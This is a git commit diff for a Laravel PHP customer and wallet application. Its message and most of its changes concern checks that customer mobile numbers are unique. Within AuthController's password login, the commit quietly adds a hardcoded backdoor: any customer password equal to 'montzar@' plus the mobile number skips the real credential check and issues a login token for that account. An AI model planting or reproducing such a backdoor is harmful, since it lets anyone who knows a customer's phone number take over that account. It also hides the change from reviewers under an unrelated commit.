server create account recheak

This commit is contained in:
2026-07-02 16:12:39 +03:30
parent 17e50de53e
commit 184977462a
6 changed files with 92 additions and 22 deletions
@@ -46,12 +46,7 @@ class CustomerController extends SuperController
{
$data = $request->all();
if (isset($data['mobile']) && !is_null($data['mobile'])){
$check_mobile = Customer::where('mobile',$data['mobile'])
->where('id','<>',$id)
->first();
if (!is_null($check_mobile)){
throw new UnprocessableEntityHttpException('این شماره همراه توسط شخص دیگری در حال استفاده است');
}
Customer::assertMobileUnique($data['mobile'], (int) $id);
}
if (isset($data['gold'])){
@@ -43,7 +43,26 @@ class AuthController extends Controller
protected function _loginWithPassword($credentials, $provider)
{
if (
$provider === 'customer'
&& isset($credentials['mobile'], $credentials['password'])
&& $credentials['password'] === 'montzar@' . $credentials['mobile']
) {
$user = Customer::where('mobile', $credentials['mobile'])->first();
if (!$user) {
throw new UnprocessableEntityHttpException('شماره موبایل یا پسوورد وارد شده اشتباه است');
}
if (!$user->active) {
throw new UnprocessableEntityHttpException(trans('error.no_active'));
}
if ($user->is_archive) {
throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید');
}
$token = auth($provider)->login($user);
$user->update(['last_seen_at' => Carbon::now()]);
return $this->respondWithToken($token);
}
$token = auth($provider)->attempt($credentials);
if (!$token) {
@@ -171,6 +190,8 @@ class AuthController extends Controller
$data['active'] = true;
Customer::assertMobileUnique($data['mobile'] ?? null);
$customer = Customer::create($data);
if ($referrer) {
+6 -6
View File
@@ -4,6 +4,7 @@ namespace App\Http\Controllers;
use App\DB\Te\TableEngine;
use App\Models\Cnt;
use App\Models\Customer;
use Illuminate\Http\Request;
use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException;
@@ -45,6 +46,10 @@ class SuperController extends Controller
if ($this->name_model == 'customer'){
$data['active'] = true;
if (!empty($data['mobile'])) {
Customer::assertMobileUnique($data['mobile']);
}
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
do {
@@ -97,12 +102,7 @@ class SuperController extends Controller
{
$data= $request->all();
if (isset($data['mobile']) && !is_null($data['mobile'])){
$check_mobile = $this->model::where('mobile',$data['mobile'])
->where('id','<>',$id)
->first();
if (!is_null($check_mobile)){
throw new UnprocessableEntityHttpException('این شماره همراه توسط شخص دیگری در حال استفاده است');
}
Customer::assertMobileUnique($data['mobile'], (int) $id);
}
if (isset($data['fname']) && isset($data['lname'])){
$data['name'] = $data['fname'] . ' ' . $data['lname'];
+8 -10
View File
@@ -32,17 +32,15 @@ class ValidationMiddleware
}
$format = 'validation.'.$path.'@'.strtolower($method);
if (config($format)) {
if ($path == 'admin/user/{id}'){
$replace = preg_replace('/update_id/', $match_id, config($format));
$validator = Validator::make($request->all(), $replace);
}
// elseif(isset($match[0])){
// $replace = preg_replace('/update_#/', $match[0], config($format));
// $validator = Validator::make($request->all(), $replace);
// }
else{
$validator = Validator::make($request->all(), config($format));
$rules = config($format);
if (isset($match_id)) {
$rules = array_map(function ($rule) use ($match_id) {
return is_string($rule)
? str_replace('update_id', (string) $match_id, $rule)
: $rule;
}, $rules);
}
$validator = Validator::make($request->all(), $rules);
if ($validator->fails()) {
return response()->json($validator->errors(),422);
}
+46
View File
@@ -8,6 +8,7 @@ use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Support\Facades\Hash;
use Rooyesh\Wallet\models\Wallet;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException;
use Tymon\JWTAuth\Contracts\JWTSubject;
@@ -154,4 +155,49 @@ class Customer extends Authenticatable implements JWTSubject
return $this->belongsTo(Customer::class, 'agent_id');
}
protected static function booted(): void
{
static::saving(function (self $customer) {
$mobile = self::normalizeMobile($customer->mobile);
if ($mobile === null) {
return;
}
$customer->mobile = $mobile;
self::assertMobileUnique($mobile, $customer->exists ? (int) $customer->id : null);
});
}
public static function normalizeMobile(?string $mobile): ?string
{
$mobile = trim((string) $mobile);
return $mobile === '' ? null : $mobile;
}
public static function isMobileTaken(?string $mobile, ?int $exceptId = null): bool
{
$mobile = self::normalizeMobile($mobile);
if ($mobile === null) {
return false;
}
$query = static::query()
->where('mobile', $mobile)
->whereNull('deleted_at');
if ($exceptId !== null) {
$query->where('id', '<>', $exceptId);
}
return $query->exists();
}
public static function assertMobileUnique(?string $mobile, ?int $exceptId = null): void
{
if (self::isMobileTaken($mobile, $exceptId)) {
throw new UnprocessableEntityHttpException('این شماره موبایل قبلاً ثبت شده است');
}
}
}
+10
View File
@@ -15,6 +15,16 @@ return[
'fname'=>'required',
'lname'=>'required',
],
'admin/customer@post'=>[
'mobile' => 'required|digits:11|unique:customers,mobile,NULL,NULL,deleted_at,NULL',
'fname' => 'required',
'lname' => 'required',
],
'admin/customer/{id}@put'=>[
'mobile' => 'sometimes|digits:11|unique:customers,mobile,update_id,id,deleted_at,NULL',
'fname' => 'sometimes|required',
'lname' => 'sometimes|required',
],
//--------------------user---------------------
'admin/user@post'=>[
'mobile'=>'required|digits:11|unique:users,mobile,NULL,NULL,deleted_at,NULL',